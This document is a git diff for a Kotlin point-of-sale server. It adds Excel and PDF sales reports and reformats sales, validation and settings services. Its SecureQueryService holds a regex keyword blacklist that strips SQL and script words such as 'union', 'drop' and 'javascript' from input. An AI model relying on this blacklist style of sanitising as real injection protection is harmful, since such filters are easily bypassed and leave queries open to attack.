titleRow = sheet.createRow(rowNum++) + val titleCell = titleRow.createCell(0) + titleCell.setCellValue("売上レポート") + titleCell.cellStyle = titleStyle + sheet.addMergedRegion(CellRangeAddress(0, 0, 0, 3)) + + // 期間 + val periodRow = sheet.createRow(rowNum++) + periodRow.createCell(0).setCellValue("期間:") + periodRow.createCell(1).setCellValue("${dateFormat.format(summary.startDate)} ~ ${dateFormat.format(summary.endDate)}") + sheet.addMergedRegion(CellRangeAddress(1, 1, 1, 3)) + + // 空白行 + rowNum++ + + // サマリーヘッダー + val summaryHeaderRow = sheet.createRow(rowNum++) + val summaryHeader = summaryHeaderRow.createCell(0) + summaryHeader.setCellValue("集計結果") + summaryHeader.cellStyle = headerStyle + sheet.addMergedRegion(CellRangeAddress(rowNum - 1, rowNum - 1, 0, 3)) + + // 総売上件数 + val countRow = sheet.createRow(rowNum++) + countRow.createCell(0).setCellValue("総売上件数") + val countCell = countRow.createCell(1) + countCell.setCellValue(summary.totalSales.toDouble()) + countCell.cellStyle = + workbook.createCellStyle().apply { + dataFormat = workbook.createDataFormat().getFormat("#,##0") + } + countRow.createCell(2).setCellValue("件") + + // 総売上金額 + val amountRow = sheet.createRow(rowNum++) + amountRow.createCell(0).setCellValue("総売上金額") + val amountCell = amountRow.createCell(1) + amountCell.setCellValue(summary.totalAmount.toDouble()) + amountCell.cellStyle = currencyStyle + + // 平均売上金額 + val avgRow = sheet.createRow(rowNum++) + avgRow.createCell(0).setCellValue("平均売上金額") + val avgCell = avgRow.createCell(1) + avgCell.setCellValue(summary.averageAmount) + avgCell.cellStyle = currencyStyle + + // 列幅の自動調整 + for (i in 0..3) { + sheet.autoSizeColumn(i) + } + } + + private fun createSalesDetailSheet( + workbook: XSSFWorkbook, + reportData: List, + ) { + val sheet = workbook.createSheet("売上明細") + + // スタイルの作成 + val headerStyle = createHeaderStyle(workbook) + val currencyStyle = createCurrencyStyle(workbook) + val dateStyle = createDateStyle(workbook) + + var rowNum = 0 + + // ヘッダー行 + val headerRow = sheet.createRow(rowNum++) + val headers = listOf("売上ID", "日時", "店舗名", "スタッフ名", "商品数", "金額", "商品明細") + headers.forEachIndexed { index, header -> + val cell = headerRow.createCell(index) + cell.setCellValue(header) + cell.cellStyle = headerStyle + } + + // データ行 + reportData.forEach { sale -> + val row = sheet.createRow(rowNum++) + row.createCell(0).setCellValue(sale.saleId.toDouble()) + + val dateCell = row.createCell(1) + dateCell.setCellValue(sale.createdAt) + dateCell.cellStyle = dateStyle + + row.createCell(2).setCellValue(sale.storeName) + row.createCell(3).setCellValue(sale.staffName) + row.createCell(4).setCellValue(sale.quantity.toDouble()) + + val amountCell = row.createCell(5) + amountCell.setCellValue(sale.amount.toDouble()) + amountCell.cellStyle = currencyStyle + + val detailText = + if (sale.details.isNotEmpty()) { + sale.details.joinToString(", ") { detail -> + "${detail.itemName} x${detail.quantity}" + } + } else { + "-" + } + row.createCell(6).setCellValue(detailText) + } + + // 合計行 + val totalRow = sheet.createRow(rowNum++) + totalRow.createCell(3).setCellValue("合計") + val totalCell = totalRow.createCell(5) + totalCell.setCellValue(reportData.sumOf { it.amount }.toDouble()) + totalCell.cellStyle = currencyStyle + + // 列幅の自動調整 + for (i in 0..6) { + sheet.autoSizeColumn(i) + } + } + + private fun createItemSummarySheet( + workbook: XSSFWorkbook, + reportData: List, + ) { + val sheet = workbook.createSheet("商品別集計") + + // スタイルの作成 + val headerStyle = createHeaderStyle(workbook) + val currencyStyle = createCurrencyStyle(workbook) + + // 商品別に集計 + val itemSummary = mutableMapOf() + reportData.forEach { sale -> + sale.details.forEach { detail -> + val existing = + itemSummary.getOrDefault( + detail.itemName, + ItemSummaryData(detail.itemName, 0, 0, detail.price), + ) + itemSummary[detail.itemName] = + ItemSummaryData( + itemName = existing.itemName, + totalQuantity = existing.totalQuantity + detail.quantity, + totalAmount = existing.totalAmount + detail.subtotal, + unitPrice = detail.price, + ) + } + } + + var rowNum = 0 + + // ヘッダー行 + val headerRow = sheet.createRow(rowNum++) + val headers = listOf("商品名", "単価", "販売数", "売上金額") + headers.forEachIndexed { index, header -> + val cell = headerRow.createCell(index) + cell.setCellValue(header) + cell.cellStyle = headerStyle + } + + // データ行(売上金額の降順でソート) + itemSummary.values.sortedByDescending { it.totalAmount }.forEach { item -> + val row = sheet.createRow(rowNum++) + row.createCell(0).setCellValue(item.itemName) + + val priceCell = row.createCell(1) + priceCell.setCellValue(item.unitPrice.toDouble()) + priceCell.cellStyle = currencyStyle + + row.createCell(2).setCellValue(item.totalQuantity.toDouble()) + + val amountCell = row.createCell(3) + amountCell.setCellValue(item.totalAmount.toDouble()) + amountCell.cellStyle = currencyStyle + } + + // 合計行 + val totalRow = sheet.createRow(rowNum++) + totalRow.createCell(0).setCellValue("合計") + totalRow.createCell(2).setCellValue(itemSummary.values.sumOf { it.totalQuantity }.toDouble()) + val totalCell = totalRow.createCell(3) + totalCell.setCellValue(itemSummary.values.sumOf { it.totalAmount }.toDouble()) + totalCell.cellStyle = currencyStyle + + // 列幅の自動調整 + for (i in 0..3) { + sheet.autoSizeColumn(i) + } + } + + private fun createHeaderStyle(workbook: XSSFWorkbook): XSSFCellStyle = + workbook.createCellStyle().apply { + fillForegroundColor = IndexedColors.GREY_25_PERCENT.index + fillPattern = FillPatternType.SOLID_FOREGROUND + borderBottom = BorderStyle.THIN + borderTop = BorderStyle.THIN + borderLeft = BorderStyle.THIN + borderRight = BorderStyle.THIN + alignment = HorizontalAlignment.CENTER + val font = workbook.createFont() + font.bold = true + setFont(font) + } + + private fun createTitleStyle(workbook: XSSFWorkbook): XSSFCellStyle = + workbook.createCellStyle().apply { + alignment = HorizontalAlignment.CENTER + val font = workbook.createFont() + font.bold = true + font.fontHeightInPoints = 16 + setFont(font) + } + + private fun createCurrencyStyle(workbook: XSSFWorkbook): XSSFCellStyle = + workbook.createCellStyle().apply { + dataFormat = workbook.createDataFormat().getFormat("¥#,##0") + } + + private fun createDateStyle(workbook: XSSFWorkbook): XSSFCellStyle = + workbook.createCellStyle().apply { + dataFormat = workbook.createDataFormat().getFormat("yyyy/mm/dd hh:mm") + } + + private data class ItemSummaryData( + val itemName: String, + val totalQuantity: Int, + val totalAmount: Int, + val unitPrice: Int, + ) +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SalePersistenceService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SalePersistenceService.kt index 7ad7f0e..96b11cd 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SalePersistenceService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SalePersistenceService.kt @@ -22,33 +22,39 @@ class SalePersistenceService( private val saleRepository: SaleRepository, private val saleDetailRepository: SaleDetailRepository, private val idGenerationService: IdGenerationService, - private val saleCalculationService: SaleCalculationService + private val saleCalculationService: SaleCalculationService, ) { private val logger = LoggerFactory.getLogger(SalePersistenceService::class.java) /** * Save sale entity */ - fun saveSale(saleBean: SaleBean, items: List): SaleEntity { + fun saveSale( + saleBean: SaleBean, + items: List, + ): SaleEntity { val saleId = idGenerationService.generateNextId(saleRepository) val staffId = extractStaffId(saleBean.staffBarcode) val totalAmount = saleCalculationService.calculateSaleAmount(items) val quantity = saleCalculationService.calculateQuantity(items) - val sale = SaleEntity( - id = saleId, - storeId = saleBean.storeId, - staffId = staffId, - quantity = quantity, - amount = totalAmount, - deposit = saleBean.deposit, - createdAt = Date() - ) + val sale = + SaleEntity( + id = saleId, + storeId = saleBean.storeId, + staffId = staffId, + quantity = quantity, + amount = totalAmount, + deposit = saleBean.deposit, + createdAt = Date(), + ) val savedSale = saleRepository.save(sale) logger.info( "Sale saved successfully: ID={}, amount={}, items={}", - savedSale.id, savedSale.amount, savedSale.quantity + savedSale.id, + savedSale.amount, + savedSale.quantity, ) return savedSale @@ -57,7 +63,10 @@ class SalePersistenceService( /** * Save sale detail entities */ - fun saveSaleDetails(saleId: Int, items: List): List { + fun saveSaleDetails( + saleId: Int, + items: List, + ): List { val groupedItems = saleCalculationService.groupItemsByType(items) val savedDetails = mutableListOf() @@ -66,20 +75,23 @@ class SalePersistenceService( val quantity = itemList.size val unitPrice = itemList.first().price - val saleDetail = SaleDetailEntity( - id = detailId, - saleId = saleId, - itemId = itemId, - price = unitPrice, - quantity = quantity - ) + val saleDetail = + SaleDetailEntity( + id = detailId, + saleId = saleId, + itemId = itemId, + price = unitPrice, + quantity = quantity, + ) val savedDetail = saleDetailRepository.save(saleDetail) savedDetails.add(savedDetail) logger.debug( "Sale detail saved: item={}, quantity={}, price={}", - itemId, quantity, unitPrice + itemId, + quantity, + unitPrice, ) } @@ -90,39 +102,30 @@ class SalePersistenceService( /** * Extract staff ID from barcode */ - private fun extractStaffId(staffBarcode: String): Int { - return if (staffBarcode.length > 4) { + private fun extractStaffId(staffBarcode: String): Int = + if (staffBarcode.length > 4) { staffBarcode.takeLast(3).toIntOrNull() ?: 0 } else { 0 } - } /** * Find sale by ID */ - fun findSaleById(id: Int): SaleEntity? { - return saleRepository.findById(id).orElse(null) - } + fun findSaleById(id: Int): SaleEntity? = saleRepository.findById(id).orElse(null) /** * Find all sales */ - fun findAllSales(): List { - return saleRepository.findAll() - } + fun findAllSales(): List = saleRepository.findAll() /** * Find sale details by sale ID */ - fun findSaleDetailsBySaleId(saleId: Int): List { - return saleDetailRepository.findBySaleId(saleId) - } + fun findSaleDetailsBySaleId(saleId: Int): List = saleDetailRepository.findBySaleId(saleId) /** * Find all sale details */ - fun findAllSaleDetails(): List { - return saleDetailRepository.findAll() - } -} \ No newline at end of file + fun findAllSaleDetails(): List = saleDetailRepository.findAll() +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleProcessingService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleProcessingService.kt index b60d2f5..8509b90 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleProcessingService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleProcessingService.kt @@ -27,7 +27,7 @@ import org.springframework.transaction.annotation.Transactional class SaleProcessingService( private val saleCalculationService: SaleCalculationService, private val saleValidationService: SaleValidationService, - private val salePersistenceService: SalePersistenceService + private val salePersistenceService: SalePersistenceService, ) { private val logger = LoggerFactory.getLogger(SaleProcessingService::class.java) @@ -43,7 +43,10 @@ class SaleProcessingService( * @return Persisted sale entity with generated ID and calculated total * @throws IllegalArgumentException if validation fails for sale request or items */ - fun processSale(saleBean: SaleBean, items: List): SaleEntity { + fun processSale( + saleBean: SaleBean, + items: List, + ): SaleEntity { logger.info("Processing sale for store: {}, items: {}", saleBean.storeId, items.size) // Step 1: Validate the sale request @@ -57,7 +60,8 @@ class SaleProcessingService( logger.info( "Sale processed successfully: ID={}, total={}", - savedSale.id, savedSale.amount + savedSale.id, + savedSale.amount, ) return savedSale @@ -72,14 +76,14 @@ class SaleProcessingService( * @param staffBarcode The barcode string containing staff information * @return Extracted staff ID as integer, or 0 if extraction fails */ - fun extractStaffId(staffBarcode: String): Int { - return if (staffBarcode.length > Constants.Barcode.MIN_LENGTH) { - staffBarcode.substring(staffBarcode.length - Constants.Barcode.SUFFIX_LENGTH) + fun extractStaffId(staffBarcode: String): Int = + if (staffBarcode.length > Constants.Barcode.MIN_LENGTH) { + staffBarcode + .substring(staffBarcode.length - Constants.Barcode.SUFFIX_LENGTH) .toIntOrNull() ?: 0 } else { 0 } - } /** * Calculate sale summary @@ -91,7 +95,10 @@ class SaleProcessingService( * @param deposit Customer deposit amount * @return SaleSummary containing calculated totals and statistics */ - fun calculateSaleSummary(items: List, deposit: Int): SaleSummary { + fun calculateSaleSummary( + items: List, + deposit: Int, + ): SaleSummary { val totalAmount = saleCalculationService.calculateSaleAmount(items) val change = saleCalculationService.calculateChange(totalAmount, deposit) val itemQuantities = saleCalculationService.calculateItemQuantities(items) @@ -102,7 +109,7 @@ class SaleProcessingService( change = change, itemCount = items.size, uniqueItems = itemQuantities.size, - itemQuantities = itemQuantities + itemQuantities = itemQuantities, ) } @@ -116,8 +123,11 @@ class SaleProcessingService( * @param items List of items being purchased * @return SaleResult indicating success with data or specific error type */ - fun processSaleWithValidation(saleBean: SaleBean, items: List): SaleResult { - return try { + fun processSaleWithValidation( + saleBean: SaleBean, + items: List, + ): SaleResult = + try { val sale = processSale(saleBean, items) val summary = calculateSaleSummary(items, saleBean.deposit) @@ -129,7 +139,6 @@ class SaleProcessingService( logger.error("Sale processing failed", e) SaleResult.ProcessingError("Failed to process sale: ${e.message ?: "Unknown error"}") } - } /** * Find sale by ID @@ -139,9 +148,7 @@ class SaleProcessingService( * @param id Unique sale identifier * @return SaleEntity if found, null otherwise */ - fun findSaleById(id: Int): SaleEntity? { - return salePersistenceService.findSaleById(id) - } + fun findSaleById(id: Int): SaleEntity? = salePersistenceService.findSaleById(id) /** * Find all sales @@ -150,9 +157,7 @@ class SaleProcessingService( * * @return List of all SaleEntity records */ - fun findAllSales(): List { - return salePersistenceService.findAllSales() - } + fun findAllSales(): List = salePersistenceService.findAllSales() /** * Find sale details by sale ID @@ -162,9 +167,7 @@ class SaleProcessingService( * @param saleId Sale identifier * @return List of SaleDetailEntity records */ - fun findSaleDetailsBySaleId(saleId: Int): List { - return salePersistenceService.findSaleDetailsBySaleId(saleId) - } + fun findSaleDetailsBySaleId(saleId: Int): List = salePersistenceService.findSaleDetailsBySaleId(saleId) } /** @@ -176,15 +179,27 @@ data class SaleSummary( val change: Int, val itemCount: Int, val uniqueItems: Int, - val itemQuantities: Map + val itemQuantities: Map, ) /** * Sealed class for sale processing results */ sealed class SaleResult { - data class Success(val sale: SaleEntity, val summary: SaleSummary) : SaleResult() - data class Error(val message: String) : SaleResult() - data class ValidationError(val message: String) : SaleResult() - data class ProcessingError(val message: String) : SaleResult() -} \ No newline at end of file + data class Success( + val sale: SaleEntity, + val summary: SaleSummary, + ) : SaleResult() + + data class Error( + val message: String, + ) : SaleResult() + + data class ValidationError( + val message: String, + ) : SaleResult() + + data class ProcessingError( + val message: String, + ) : SaleResult() +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleReportService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleReportService.kt new file mode 100644 index 0000000..16ee08a --- /dev/null +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleReportService.kt @@ -0,0 +1,279 @@ +package info.nukoneko.kidspos.server.service + +import com.itextpdf.kernel.colors.ColorConstants +import com.itextpdf.kernel.geom.PageSize +import com.itextpdf.kernel.pdf.PdfDocument +import com.itextpdf.kernel.pdf.PdfWriter +import com.itextpdf.layout.Document +import com.itextpdf.layout.element.Cell +import com.itextpdf.layout.element.Paragraph +import com.itextpdf.layout.element.Table +import com.itextpdf.layout.properties.TextAlignment +import com.itextpdf.layout.properties.UnitValue +import com.itextpdf.layout.properties.VerticalAlignment +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportData +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportDetailData +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportSummary +import info.nukoneko.kidspos.server.entity.SaleEntity +import info.nukoneko.kidspos.server.repository.* +import org.slf4j.LoggerFactory +import org.springframework.stereotype.Service +import org.springframework.transaction.annotation.Transactional +import java.io.ByteArrayOutputStream +import java.text.NumberFormat +import java.text.SimpleDateFormat +import java.util.* + +@Service +@Transactional(readOnly = true) +class SaleReportService( + private val saleRepository: SaleRepository, + private val saleDetailRepository: SaleDetailRepository, + private val itemRepository: ItemRepository, + private val storeRepository: StoreRepository, + private val staffRepository: StaffRepository, +) { + private val logger = LoggerFactory.getLogger(SaleReportService::class.java) + private val dateFormat = SimpleDateFormat("yyyy/MM/dd HH:mm") + private val numberFormat = NumberFormat.getInstance(Locale.JAPAN) + + fun generateSalesReport( + startDate: Date, + endDate: Date, + ): ByteArray { + logger.info("Generating sales report from {} to {}", startDate, endDate) + + val sales = saleRepository.findByDateRange(startDate, endDate) + val reportData = prepareSalesReportData(sales) + val summary = calculateSummary(reportData, startDate, endDate) + + return createPdfReport(reportData, summary) + } + + fun generateSalesReportByStore( + storeId: Int, + startDate: Date, + endDate: Date, + ): ByteArray { + logger.info("Generating sales report for store {} from {} to {}", storeId, startDate, endDate) + + val sales = + saleRepository + .findByDateRange(startDate, endDate) + .filter { it.storeId == storeId } + val reportData = prepareSalesReportData(sales) + val summary = calculateSummary(reportData, startDate, endDate) + + return createPdfReport(reportData, summary) + } + + private fun prepareSalesReportData(sales: List): List = + sales.map { sale -> + val store = storeRepository.findById(sale.storeId).orElse(null) + val staff = + if (sale.staffId > 0) { + staffRepository.findById(sale.staffId.toString()).orElse(null) + } else { + null + } + val details = + saleDetailRepository.findBySaleId(sale.id).map { detail -> + val item = itemRepository.findById(detail.itemId).orElse(null) + SaleReportDetailData( + itemId = detail.itemId, + itemName = item?.name ?: "不明な商品", + price = detail.price, + quantity = detail.quantity, + subtotal = detail.price * detail.quantity, + ) + } + + SaleReportData( + saleId = sale.id, + storeId = sale.storeId, + storeName = store?.name ?: "不明な店舗", + staffId = sale.staffId, + staffName = staff?.name ?: "不明なスタッフ", + quantity = sale.quantity, + amount = sale.amount, + createdAt = sale.createdAt, + details = details, + ) + } + + private fun calculateSummary( + reportData: List, + startDate: Date, + endDate: Date, + ): SaleReportSummary { + val totalSales = reportData.size + val totalAmount = reportData.sumOf { it.amount } + val averageAmount = if (totalSales > 0) totalAmount.toDouble() / totalSales else 0.0 + + return SaleReportSummary( + totalSales = totalSales, + totalAmount = totalAmount, + averageAmount = averageAmount, + startDate = startDate, + endDate = endDate, + ) + } + + private fun createPdfReport( + reportData: List, + summary: SaleReportSummary, + ): ByteArray { + val outputStream = ByteArrayOutputStream() + val writer = PdfWriter(outputStream) + val pdf = PdfDocument(writer) + val document = Document(pdf, PageSize.A4) + + try { + // ヘッダー + addHeader(document, summary) + + // サマリー + addSummary(document, summary) + + // 売上明細テーブル + addSalesTable(document, reportData) + + document.close() + logger.info("PDF report generated successfully") + + return outputStream.toByteArray() + } catch (e: Exception) { + logger.error("Error generating PDF report", e) + document.close() + throw RuntimeException("PDF生成中にエラーが発生しました", e) + } + } + + private fun addHeader( + document: Document, + summary: SaleReportSummary, + ) { + val title = + Paragraph("売上レポート") + .setTextAlignment(TextAlignment.CENTER) + .setFontSize(20f) + .setBold() + + val period = + Paragraph("期間: ${dateFormat.format(summary.startDate)} ~ ${dateFormat.format(summary.endDate)}") + .setTextAlignment(TextAlignment.CENTER) + .setFontSize(12f) + + document.add(title) + document.add(period) + document.add(Paragraph("\n")) + } + + private fun addSummary( + document: Document, + summary: SaleReportSummary, + ) { + val summaryTitle = + Paragraph("集計結果") + .setFontSize(16f) + .setBold() + + document.add(summaryTitle) + + val summaryTable = + Table(UnitValue.createPercentArray(floatArrayOf(50f, 50f))) + .useAllAvailableWidth() + + summaryTable.addCell(createCell("総売上件数:", false)) + summaryTable.addCell(createCell("${numberFormat.format(summary.totalSales)} 件", true)) + + summaryTable.addCell(createCell("総売上金額:", false)) + summaryTable.addCell(createCell("¥${numberFormat.format(summary.totalAmount)}", true)) + + summaryTable.addCell(createCell("平均売上金額:", false)) + summaryTable.addCell(createCell("¥${numberFormat.format(summary.averageAmount.toInt())}", true)) + + document.add(summaryTable) + document.add(Paragraph("\n")) + } + + private fun addSalesTable( + document: Document, + reportData: List, + ) { + val tableTitle = + Paragraph("売上明細") + .setFontSize(16f) + .setBold() + + document.add(tableTitle) + + val table = + Table(UnitValue.createPercentArray(floatArrayOf(10f, 20f, 15f, 15f, 15f, 15f, 10f))) + .useAllAvailableWidth() + + // ヘッダー行 + table.addHeaderCell(createHeaderCell("売上ID")) + table.addHeaderCell(createHeaderCell("日時")) + table.addHeaderCell(createHeaderCell("店舗")) + table.addHeaderCell(createHeaderCell("スタッフ")) + table.addHeaderCell(createHeaderCell("商品数")) + table.addHeaderCell(createHeaderCell("金額")) + table.addHeaderCell(createHeaderCell("詳細")) + + // データ行 + reportData.forEach { sale -> + table.addCell(createDataCell(sale.saleId.toString())) + table.addCell(createDataCell(dateFormat.format(sale.createdAt))) + table.addCell(createDataCell(sale.storeName)) + table.addCell(createDataCell(sale.staffName)) + table.addCell(createDataCell(sale.quantity.toString())) + table.addCell(createDataCell("¥${numberFormat.format(sale.amount)}")) + + // 詳細セル + val detailText = + if (sale.details.isNotEmpty()) { + sale.details.joinToString("\n") { detail -> + "${detail.itemName} x${detail.quantity}" + } + } else { + "-" + } + table.addCell(createDataCell(detailText)) + } + + document.add(table) + } + + private fun createHeaderCell(text: String): Cell = + Cell() + .add(Paragraph(text).setBold()) + .setBackgroundColor(ColorConstants.LIGHT_GRAY) + .setTextAlignment(TextAlignment.CENTER) + .setVerticalAlignment(VerticalAlignment.MIDDLE) + .setPadding(5f) + + private fun createDataCell(text: String): Cell = + Cell() + .add(Paragraph(text)) + .setTextAlignment(TextAlignment.LEFT) + .setVerticalAlignment(VerticalAlignment.MIDDLE) + .setPadding(3f) + .setFontSize(10f) + + private fun createCell( + text: String, + isValue: Boolean, + ): Cell { + val cell = + Cell() + .add(Paragraph(text)) + .setPadding(5f) + + if (!isValue) { + cell.setBold() + } + + return cell + } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleService.kt index bc56aa2..f2197e0 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleService.kt @@ -32,7 +32,7 @@ class SaleService( private val itemRepository: ItemRepository, private val saleRepository: SaleRepository, private val saleDetailRepository: SaleDetailRepository, - private val idGenerationService: IdGenerationService + private val idGenerationService: IdGenerationService, ) { private val logger = LoggerFactory.getLogger(SaleService::class.java) @@ -42,17 +42,11 @@ class SaleService( @Autowired private lateinit var staffRepository: StaffRepository - fun findAllSale(): List { - return saleRepository.findAll() - } + fun findAllSale(): List = saleRepository.findAll() - fun findAllSaleDetail(): List { - return saleDetailRepository.findAll() - } + fun findAllSaleDetail(): List = saleDetailRepository.findAll() - fun findSale(id: Int): SaleEntity { - return saleRepository.findById(id).get() - } + fun findSale(id: Int): SaleEntity = saleRepository.findById(id).get() fun findSale(barcode: String): SaleEntity { val id = barcode.substring(barcode.length - Constants.Barcode.SUFFIX_LENGTH).toInt() @@ -62,31 +56,44 @@ class SaleService( /** * 綺麗にしたい */ - fun save(saleBean: SaleBean, items: List): SaleEntity { + fun save( + saleBean: SaleBean, + items: List, + ): SaleEntity { logger.info("Creating sale for store: {}, staff barcode: {}", saleBean.storeId, "***") val id = idGenerationService.generateNextId(saleRepository) // 売り上げを保存 - val staffId = if (saleBean.staffBarcode.length > Constants.Barcode.MIN_LENGTH) { - saleBean.staffBarcode.substring(saleBean.staffBarcode.length - Constants.Barcode.SUFFIX_LENGTH) - .toIntOrNull() ?: 0 - } else { - 0 - } + val staffId = + if (saleBean.staffBarcode.length > Constants.Barcode.MIN_LENGTH) { + saleBean.staffBarcode + .substring(saleBean.staffBarcode.length - Constants.Barcode.SUFFIX_LENGTH) + .toIntOrNull() ?: 0 + } else { + 0 + } items.forEach { logger.debug("Item - ID: {}, Name: {}, Price: {}", it.id, it.name, it.price) } - val sale = SaleEntity( - id, saleBean.storeId, staffId, - items.size, items.sumOf { it.price }, saleBean.deposit, Date() - ) + val sale = + SaleEntity( + id, + saleBean.storeId, + staffId, + items.size, + items.sumOf { it.price }, + saleBean.deposit, + Date(), + ) val savedSale = saleRepository.save(sale) logger.info("Sale created successfully with ID: {}, total amount: {}", savedSale.id, savedSale.amount) // 売り上げの詳細を保存 items - .toSet().mapNotNull { it.id }.distinct() + .toSet() + .mapNotNull { it.id } + .distinct() .forEach { itemId -> val saleDetailId = idGenerationService.generateNextId(saleDetailRepository) val filteredItems = items.filter { it.id == itemId } @@ -96,8 +103,8 @@ class SaleService( id, itemId, filteredItems[0].price, - filteredItems.size - ) + filteredItems.size, + ), ) } diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleValidationService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleValidationService.kt index a032245..aeb3158 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleValidationService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleValidationService.kt @@ -26,7 +26,10 @@ class SaleValidationService { * @param items List of items being purchased * @throws IllegalArgumentException if any validation rule fails */ - fun validateSaleRequest(saleBean: SaleBean, items: List) { + fun validateSaleRequest( + saleBean: SaleBean, + items: List, + ) { logger.debug("Validating sale request for store: {}", saleBean.storeId) validateStoreId(saleBean.storeId) @@ -89,7 +92,10 @@ class SaleValidationService { /** * Validate deposit amount */ - private fun validateDeposit(saleBean: SaleBean, items: List) { + private fun validateDeposit( + saleBean: SaleBean, + items: List, + ) { val totalAmount = items.sumOf { it.price } if (saleBean.deposit < 0) { @@ -98,7 +104,7 @@ class SaleValidationService { if (saleBean.deposit < totalAmount) { throw IllegalArgumentException( - "Insufficient deposit: required $totalAmount, provided ${saleBean.deposit}" + "Insufficient deposit: required $totalAmount, provided ${saleBean.deposit}", ) } } @@ -111,9 +117,7 @@ class SaleValidationService { * @param barcode Barcode string to validate * @return True if barcode format is valid, false otherwise */ - fun validateBarcodeFormat(barcode: String): Boolean { - return barcode.matches(Regex("^[0-9]{4,}$")) - } + fun validateBarcodeFormat(barcode: String): Boolean = barcode.matches(Regex("^[0-9]{4,}$")) /** * Validate price range @@ -125,7 +129,9 @@ class SaleValidationService { * @param maxPrice Maximum allowed price (default: 1,000,000) * @return True if price is within range, false otherwise */ - fun validatePriceRange(price: Int, minPrice: Int = 0, maxPrice: Int = 1000000): Boolean { - return price in minPrice..maxPrice - } -} \ No newline at end of file + fun validatePriceRange( + price: Int, + minPrice: Int = 0, + maxPrice: Int = 1000000, + ): Boolean = price in minPrice..maxPrice +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SecureQueryService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SecureQueryService.kt index 71c5e65..7c547a9 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SecureQueryService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SecureQueryService.kt @@ -13,7 +13,7 @@ import org.springframework.stereotype.Service */ @Service class SecureQueryService( - private val entityManager: EntityManager + private val entityManager: EntityManager, ) { private val logger = LoggerFactory.getLogger(SecureQueryService::class.java) @@ -22,7 +22,7 @@ class SecureQueryService( */ fun createTypedQuery( entityClass: Class, - queryBuilder: (CriteriaBuilder, CriteriaQuery) -> CriteriaQuery + queryBuilder: (CriteriaBuilder, CriteriaQuery) -> CriteriaQuery, ): TypedQuery { val criteriaBuilder = entityManager.criteriaBuilder val criteriaQuery = criteriaBuilder.createQuery(entityClass) @@ -39,18 +39,21 @@ class SecureQueryService( */ fun sanitizeInput(input: String): String { // Remove SQL comment indicators - var sanitized = input - .replace("--", "") - .replace("/*", "") - .replace("*/", "") + var sanitized = + input + .replace("--", "") + .replace("/*", "") + .replace("*/", "") // Remove common SQL injection patterns - sanitized = sanitized.replace( - Regex( - "\\b(union|select|insert|update|delete|drop|create|alter|exec|execute|script|javascript)\\b", - RegexOption.IGNORE_CASE - ), "" - ) + sanitized = + sanitized.replace( + Regex( + "\\b(union|select|insert|update|delete|drop|create|alter|exec|execute|script|javascript)\\b", + RegexOption.IGNORE_CASE, + ), + "", + ) // Escape single quotes for string literals sanitized = sanitized.replace("'", "''") @@ -63,7 +66,11 @@ class SecureQueryService( /** * Validate that numeric input is within expected bounds */ - fun validateNumericInput(value: Int, min: Int, max: Int): Int { + fun validateNumericInput( + value: Int, + min: Int, + max: Int, + ): Int { if (value < min || value > max) { logger.warn("Numeric input validation failed: value={}, min={}, max={}", value, min, max) throw IllegalArgumentException("Numeric value out of bounds") @@ -74,7 +81,10 @@ class SecureQueryService( /** * Validate that string input matches expected pattern */ - fun validatePattern(input: String, pattern: String): String { + fun validatePattern( + input: String, + pattern: String, + ): String { if (!input.matches(Regex(pattern))) { logger.warn("Pattern validation failed: input='{}', pattern='{}'", input, pattern) throw IllegalArgumentException("Input does not match expected pattern") @@ -85,12 +95,16 @@ class SecureQueryService( /** * Create a safe LIKE pattern for queries */ - fun createSafeLikePattern(searchTerm: String, position: LikePosition = LikePosition.CONTAINS): String { + fun createSafeLikePattern( + searchTerm: String, + position: LikePosition = LikePosition.CONTAINS, + ): String { // Escape special LIKE characters - val escaped = searchTerm - .replace("\\", "\\\\") - .replace("%", "\\%") - .replace("_", "\\_") + val escaped = + searchTerm + .replace("\\", "\\\\") + .replace("%", "\\%") + .replace("_", "\\_") return when (position) { LikePosition.STARTS_WITH -> "$escaped%" @@ -104,6 +118,6 @@ class SecureQueryService( STARTS_WITH, ENDS_WITH, CONTAINS, - EXACT + EXACT, } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SettingService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SettingService.kt index 76f3913..3a08e40 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SettingService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SettingService.kt @@ -30,8 +30,7 @@ import org.springframework.transaction.annotation.Transactional @Service @Transactional class SettingService( - private val repository: SettingRepository - + private val repository: SettingRepository, ) { private val logger = LoggerFactory.getLogger(SettingService::class.java) @@ -54,7 +53,11 @@ class SettingService( } @CacheEvict(value = [CacheConfig.SETTINGS_CACHE], allEntries = true) - fun savePrinterHostPort(storeId: Int, host: String, port: Int) { + fun savePrinterHostPort( + storeId: Int, + host: String, + port: Int, + ) { logger.info("Saving printer settings for store ID: {}", storeId) 